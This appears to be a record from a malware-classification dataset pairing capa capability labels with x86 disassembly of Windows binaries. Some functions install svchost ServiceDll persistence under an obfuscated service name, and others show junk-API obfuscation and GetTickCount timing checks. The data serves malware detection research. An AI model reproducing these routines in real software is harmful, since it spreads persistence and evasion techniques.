joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cd20
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Dpkdvy_Tuttrxw_Seu
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000cc40
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.1000cca0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._QzqqmhSmlv__Wxqpfh_0XJbleimieq_eme
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._QzqqmhSmlv__Wxqpfh_0XJbleimieq_eme
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000cc40
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000cca0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000d1e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [ebp - 0x23c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
xor eax, eax
lea edi, [ebp - 0x219]
lea edx, [ebp - 0x23c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Dpkdvy_Tuttrxw_Seu
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x23c]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 0x30
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [ebp - 4]
lea ecx, [ebp - 0x23c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000d2a9
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x110]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [ebp - 8]
lea eax, [ebp - 0x110]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0xc]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [ebp - 0xc], 2
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
nop
nop
nop
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x110]
push str._QzqqmhSmlv__Wxqpfh_0XJbleimieq_eme
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d340
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000d463
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000d458
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000d463
cmp si, 1
je 0x1000d463
push str.Dpkdvy_Tuttrxw_Seu
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000d448
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000d463
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000d3fd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000d470
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000d1e0
test eax, eax
jne 0x1000d47e
call fcn.1000cd20
call fcn.1000d340
test eax, eax
jne 0x1000d48c
jmp fcn.1000cf20
ret
Function at 0x4037d0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x428
mov eax, dword [esp + 0x42c]
push ebx
mov ebx, dword [0x43176c]
push ebp
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
push edi
mov edi, dword [0x431768]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], 0
call fcn.00403790
add dword [esp + 0x28], 0x23f
cmp dword [0x4417a4], 0x14
jne 0x403822
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov ecx, dword [0x431770]
mov edx, dword [0x431774]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], edx
mov ebp, 0x20
jmp 0x403840
mov dword [esp + 0x18], 2
add dword [esp + 0x18], 3
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x30]
mov dword [esp + 0x10], eax
mov eax, dword [0x4417a4]
cmp eax, 0xfa9
jne 0x403872
mov dword [0x4417a0], 0xedeb2e40
jmp 0x403883
cmp eax, 0x3eb
jne 0x403883
mov dword [0x441710], 0
mov eax, dword [esp + 0x24]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x28]
add dword [esp + 0x20], eax
mov ecx, dword [esp + 0x18]
mov edx, esi
shr edx, cl
mov ecx, dword [esp + 0x2c]
lea eax, [esp + 0x24]
mov dword [0x44179c], 0xf4ea3dee
mov dword [esp + 0x24], edx
call fcn.004037a0
mov eax, dword [esp + 0x20]
xor dword [esp + 0x10], eax
cmp dword [0x4417a4], 0x9e6
jne 0x4038d7
mov eax, dword [esp + 0x2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov ecx, dword [esp + 0x10]
xor dword [esp + 0x24], ecx
mov eax, dword [esp + 0x24]
add dword [esp + 0x14], 0x64
sub dword [esp + 0x14], eax
sub dword [esp + 0x14], 0x64
cmp dword [0x4417a4], 0xc
jne 0x40391a
lea edx, [esp + 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
lea eax, [esp + 0x38]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
call fcn.00403710
add dword [esp + 0x10], edi
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x28]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
nop
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
shr edx, cl
mov ecx, ebx
lea eax, [esp + 0x24]
mov dword [esp + 0x24], edx
call fcn.004037b0
mov eax, dword [esp + 0x20]
xor dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
push eax
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00403720
mov eax, dword [esp + 0x10]
push eax
mov eax, esi
call fcn.004037c0
add dword [esp + 0x28], 0x61c88647
sub ebp, 1
mov esi, eax
mov dword [esp + 0x24], esi
jne 0x403840
mov eax, dword [esp + 0x43c]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax], esi
pop esi
pop ebp
mov dword [eax + 4], ecx
pop ebx
add esp, 0x428
ret 4
Function at 0x4039d0
Capabilities:
Enumerate gui resources
Get hostname

Disassembly:
mov eax, 0x241c
call fcn.00411450
mov eax, dword [0x4417a4]
mov ecx, dword [0x441714]
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x403aee
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x4417a4], 0x959
jne 0x403ad4
push 0
lea eax, [esp + 0x82c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [esp + 0x142c]
push ecx
push 0
call ebx
push 0
push 0
call esi
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
push 0
push 0
lea edx, [esp + 0x30]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
lea ecx, [esp + 0xc2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x1c2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [esp + 0x20]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov edx, dword [esp + 0x10]
push edx
call fcn.004037d0
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x403a14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x241c
ret
Function at 0x4043d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x42dd6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x1430
call fcn.00411450
push ebx
push ebp
push esi
xor ebp, ebp
cmp dword [0x4417a4], 0xc
push edi
jne 0x4044c6
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
push ebp
push 0x402e3c
push 0x402e48
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
push ebp
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0x402e68
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebp
lea ecx, [esp + 0x444]
push ecx
push 0x402e84
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0x402eac
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push ebp
push ebp
call fcn.00405a72
mov eax, esp
mov dword [eax], ebp
mov dword [eax + 4], ebp
call fcn.00405c4a
fstp st(0)
push ebp
call fcn.00405e25
add esp, 0xc
push 4
call fcn.00405ff0
add esp, 4
cmp eax, ebp
je 0x40449f
lea edx, [esp + 0x28]
mov dword [eax], edx
jmp 0x4044a1
xor eax, eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x38], ebp
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x40], ebp
mov dword [esp + 0x1480], 0xffffffff
call fcn.00404d60
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebx, dword [sym.imp.USER32.dll_GetSysColorBrush]
xor esi, esi
cmp esi, 0x9458
jge 0x4044ea
push ebp
lea ecx, [esp + 0xc44]
push ecx
call edi
push ebp
call ebx
inc esi
cmp esi, 0x14ee8
jl 0x4044d4
mov edx, dword [0x431ae4]
mov eax, dword [0x431ab8]
mov dword [0x4417a4], edx
mov dword [0x6c8d7c], eax
call fcn.00403c00
mov ecx, dword [esp + 0x1474]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x404fe0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x42dccb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x402ec4
call fcn.004055f0
push 4
mov dword [esp + 0x18], 0
call fcn.00405ff0
mov edi, eax
add esp, 4
test edi, edi
je 0x405054
push ebx
call fcn.004057ce
mov dword [edi], eax
call fcn.00405697
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.004054d5
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x405048
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.004054fd
pop ebx
jmp 0x405056
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4066db
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430cf0]
jne 0x4066e5
repz ret
jmp fcn.0040b19c
Function at 0x40e7a9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407715
and dword [ebp - 4], 0
cmp dword [0x4328c4], 0
mov ebx, eax
jne 0x40e85a
push 0x402bc4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40e90b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402bb8
push edi
call esi
test eax, eax
je 0x40e90b
push eax
call fcn.004076a3
mov dword [esp], 0x402ba8
push edi
mov dword [0x4328c4], eax
call esi
push eax
call fcn.004076a3
mov dword [esp], 0x402b94
push edi
mov dword [0x4328c8], eax
call esi
push eax
call fcn.004076a3
mov dword [esp], 0x402b78
push edi
mov dword [0x4328cc], eax
call esi
push eax
call fcn.004076a3
pop ecx
mov dword [0x4328d4], eax
test eax, eax
je 0x40e85a
push 0x402b60
push edi
call esi
push eax
call fcn.004076a3
pop ecx
mov dword [0x4328d0], eax
mov eax, dword [0x4328d0]
cmp eax, ebx
je 0x40e8b2
cmp dword [0x4328d4], ebx
je 0x40e8b2
push eax
call fcn.0040771e
push dword [0x4328d4]
mov esi, eax
call fcn.0040771e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40e8b2
test edi, edi
je 0x40e8b2
call esi
test eax, eax
je 0x40e8a9
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40e8a9
test byte [ebp - 0xc], 1
jne 0x40e8b2
or dword [ebp + 0x10], 0x200000
jmp 0x40e8eb
mov eax, dword [0x4328c8]
cmp eax, ebx
je 0x40e8eb
push eax
call fcn.0040771e
pop ecx
test eax, eax
je 0x40e8eb
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40e8eb
mov eax, dword [0x4328cc]
cmp eax, ebx
je 0x40e8eb
push eax
call fcn.0040771e
pop ecx
test eax, eax
je 0x40e8eb
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4328c4]
call fcn.0040771e
pop ecx
test eax, eax
je 0x40e90b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40e90d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406e2c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004098f4
test esi, esi
jne 0x406e62
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00409a7c
jmp 0x406e80
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00406d10
mov edi, eax
test esi, esi
je 0x406e80
cmp dword [ebx], 0
je 0x406e80
dec esi
jmp 0x406e69
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x406eb4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x65d008], 0x8088405
inc edx
mov dword [ebx + 0x65d008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x408478
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.004088d8
mov byte [esp], al
cmp byte [esp], 0
jne 0x408602
test edi, edi
je 0x408602
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408542
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x40851d
cmp edi, 0xffffffff
je 0x4084dd
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4084dd
mov byte [esp], 0
jmp 0x408602
mov ebx, dword [esi]
cmp ebx, 1
jg 0x40851d
test ebx, ebx
jne 0x40850f
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x40850f
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408602
lea eax, [esp + 0xc]
call fcn.00408158
dec ebp
test ebp, ebp
jg 0x4084c2
cmp edi, 0xffffffff
je 0x408542
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408540
mov byte [esp], 0
jmp 0x408602
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408486
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408542
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408670
mov edx, eax
mov ebx, dword [0x6698fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x4085a6
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x4085a4
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x4085a6
xor edi, edi
cmp byte [esp], 0
je 0x4085cc
mov ebx, dword [esi]
test bl, 1
jne 0x4085e2
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4085ac
mov byte [esp + 1], 1
jmp 0x4085e2
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4085cc
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408559
cmp byte [esp], 0
je 0x408602
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x409548
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x66905c], 0
je 0x4095af
cmp word [0x669348], 0xd7b2
jne 0x409571
cmp dword [0x669350], 0
jbe 0x409571
mov eax, 0x669344
call dword [0x669360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x4095dc
call fcn.0040a248
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x65d032], 0
jne 0x4095cb
push 0
push 0x65d9c2
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4097b4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x65d034], 0
je 0x4097df
mov edx, edi
mov eax, esi
call dword [0x65d034]
mov ebx, eax
jmp 0x4097f0
mov eax, 8
call fcn.00406a4c
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x66905d], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x40977c
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x409820
mov eax, ebx
call fcn.00406a68
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x40c560
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40c6c5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004098f4
cmp si, word [0x65da00]
jb 0x40c5f8
cmp si, word [0x65dc00]
ja 0x40c5f8
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40c5f8
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x65da00]
jae 0x40c5d2
mov edi, ebx
dec edi
jmp 0x40c5f3
cmp si, word [ebx*8 + 0x65da00]
jbe 0x40c5e2
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40c5f3
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x65da04]
call fcn.0040c480
jmp 0x40c5f8
cmp edi, dword [ebp - 8]
jae 0x40c5bc
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40c6a7
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40c6a7
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a750
push dword [ebp - 0x160]
push 0x40c6e0
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a750
push dword [ebp - 0x164]
push 0x40c6f0
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a750
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040a988
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6cc
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409954
ret